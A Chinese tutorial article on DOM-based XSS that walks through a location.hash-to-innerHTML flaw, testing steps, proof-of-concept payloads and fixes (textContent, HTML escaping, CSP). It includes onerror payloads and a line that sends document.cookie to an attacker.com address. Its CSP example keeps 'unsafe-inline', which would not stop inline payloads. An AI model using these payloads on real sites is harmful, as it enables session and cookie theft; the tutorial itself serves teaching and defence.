当前位置: 首页 > article >正文

【DOM 型 XSS举例】

DOM 型 XSS

  • 1.举个例子
  • 2.渗透测试步骤验证与详细逻辑
    • 步骤 1:探测输入点
    • 步骤 2:分析代码逻辑
    • 步骤 3:构造 PoC
    • 步骤 4:验证利用
  • 3.步骤排查与修正
    • 潜在遗漏点
  • 4.防御措施与根本原因
    • 漏洞根源
    • 修复方案
  • 5.总结

以下是针对 DOM 型 XSS 漏洞案例 的详细分析,包含步骤验证、逻辑原理与判断依据,确保流程严谨性:


1.举个例子

某网站存在以下代码:

// 从 URL 的 hash 片段中提取内容并直接渲染到页面
const userInput = window.location.hash.substring(1); // 获取 # 后的内容
document.getElementById('content').innerHTML = userInput; // 直接插入 HTML

攻击者可通过构造恶意 URL(如 https://target.com/#<img src=x onerror=alert(1)>)触发 XSS。


2.渗透测试步骤验证与详细逻辑

步骤 1:探测输入点

操作:
修改 URL 为 https://target.com/#<img src=x onerror=console.log(1)>,观察浏览器控制台是否输出 1

原理与判断依据:

  1. DOM 型 XSS 的触发条件:

    • 漏洞源于客户端代码(如 innerHTML)直接使用未经处理的用户输入(此处为 location.hash)。
    • location.hash 的值(即 # 后的内容)由浏览器解析,不会发送到服务器,因此传统服务端过滤可能失效。
  2. 选择 <img> 标签测试的原因:

    • <img>src 属性设置为无效值(x),触发 onerror 事件,执行 JS 代码。
    • 相较于 <script> 标签,<img> 更可能绕过简单的黑名单过滤(如过滤 <script> 但允许 <img>)。
  3. 预期结果:

    • 若控制台输出 1,说明 innerHTMLonerror 代码解析为可执行脚本,漏洞存在。
    • 关键验证点:确认漏洞触发位置在客户端,而非服务端返回的响应内容(区别于反射型/存储型 XSS)。

步骤 2:分析代码逻辑

操作:
在开发者工具的 Sources 面板中搜索 innerHTML,定位漏洞代码并设置断点跟踪 userInput 的赋值过程。

原理与判断依据:

  1. 搜索 innerHTML 的原因:

    • innerHTML 是常见的 XSS 风险点,因其直接将字符串解析为 HTML,可能执行嵌入的脚本。
    • 安全替代方案:使用 textContentinnerText 仅渲染纯文本。
  2. 断点调试的目的:

    • 跟踪数据流:确认 userInput 是否完全由 location.hash 控制,未经过滤或编码。
    • 验证攻击链:
      • 断点设置在 document.getElementById('content').innerHTML = userInput; 行。
      • 当页面加载时,观察 userInput 的值是否为攻击者控制的字符串(如 <img ...>)。
  3. 逻辑漏洞排查:

    • 检查是否有客户端过滤函数(如 escapeHtml(userInput))被遗漏。
    • 确认是否因异步加载(如 AJAX)导致输入未被捕获。

步骤 3:构造 PoC

操作:
通过控制台直接注入代码:

window.location.hash = '<script>alert(document.domain)</script>';

原理与判断依据:

  1. 为何修改 location.hash

    • location.hash 的修改会更新 URL 但不会重载页面(除非代码主动监听 hashchange 事件)。
    • 在此案例中,漏洞代码在页面初始化时执行,因此需刷新页面触发解析新 hash 值。
  2. 使用 <script> 标签的可行性:

    • 现代浏览器默认不会执行由 innerHTML 插入的 <script> 标签(HTML5 规范限制),但其他标签(如 <img><svg>)的事件处理器仍可触发。
    • 绕过限制的替代方案:
      window.location.hash = '<img src=x onerror=alert(document.domain)>';
      
  3. 控制台注入的意义:

    • 开发者工具拥有当前页面的 JavaScript 执行权限,可直接操作 DOM 或修改变量,用于快速验证漏洞利用链。

步骤 4:验证利用

操作:
刷新页面,观察是否弹出包含当前域名的弹窗。

原理与判断依据:

  1. 弹窗内容 document.domain 的作用:

    • 确认脚本执行在目标域的安全上下文中(如 target.com),可访问该域的 Cookie、LocalStorage 等敏感数据。
    • 若弹窗显示 attacker.com,则可能存在跨域问题或代码注入位置错误。
  2. 实际攻击的隐蔽性优化:

    • 生产环境中应避免弹窗,改为静默窃取数据:
      // 将 Cookie 发送至攻击者服务器
      window.location.hash = `<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">`;
      

3.步骤排查与修正

潜在遗漏点

  1. 未刷新页面:

    • 修改 location.hash 后,若未刷新页面或重新触发漏洞代码执行,攻击载荷不会生效。
    • 修正:确保刷新页面或确认代码在 hash 变化时自动执行(如监听 hashchange 事件)。
  2. 依赖 <script> 标签:

    • 如前所述,innerHTML 插入的 <script> 不会执行,可能导致误判漏洞不存在。
    • 修正:优先使用 <img><svg> 等标签的事件处理器。

4.防御措施与根本原因

漏洞根源

  • 直接原因:innerHTML 未对用户输入(location.hash)进行转义或过滤。
  • 深层原因:开发者未遵循 “数据与代码分离” 原则,将用户输入视为代码执行。

修复方案

  1. 安全编码:使用 textContent 替代 innerHTML
    document.getElementById('content').textContent = userInput;
    
  2. 输入过滤:对 userInput 进行 HTML 实体编码:
    function escapeHtml(unsafe) {
      return unsafe.replace(/[&<>"']/g, (c) => ({
        '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;'
      })[c]);
    }
    document.getElementById('content').innerHTML = escapeHtml(userInput);
    
  3. 启用 CSP:通过 HTTP 头限制脚本执行来源:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
    

5.总结

通过本案例可清晰看到 DOM 型 XSS 的完整利用链:

  1. 输入点控制:location.hash 用户可控
  2. 危险函数调用:innerHTML 直接渲染
  3. 代码执行:浏览器解析恶意 HTML/JS。

渗透测试的核心在于 追踪用户输入流向 并验证其是否触发代码执行,而修复需从根本上避免将用户输入视为代码。


http://www.kler.cn/a/573412.html

相关文章:

  • 分库分表 MyBatis的拦截器(Interceptor)在 SQL 执行前动态修改表名
  • 前端埋点项目从设计到实现详解
  • 小程序分类页面
  • Tomcat 是什么?有什么功能和作用?为什么启动 Spring 或 Spring Boot 项目需要 Tomcat?
  • 基于编程语言的建筑行业施工图设计系统开发可行性研究————从参数化建模到全流程自动化的技术路径分析
  • 跳跃游戏||力扣--45
  • 【零基础到精通Java合集】第二十九集:SQL常用优化手段
  • 雷军曝光小米影像外挂,大镜头吸附,手机变单反
  • 山东大学计算机科学与技术学院软件工程实验日志
  • Spring IoC配置(xml+FactoryBean)
  • doris: PostgreSQL
  • 极狐GitLab 17.9 正式发布,40+ DevSecOps 重点功能解读【三】
  • gmock和cppfreemock原理学习
  • 统计建模小贴士
  • CC++链接数据库(MySQL)超级详细指南
  • Rust编程实战:Rust实现简单的Web服务,单线程性能问题
  • CHAPTER 6 Object References, Mutability, and Recycling
  • ARM 架构下 cache 一致性问题整理
  • CAD2025电脑置要求
  • MySQL篇:基础知识总结与基于长期主义的内容更新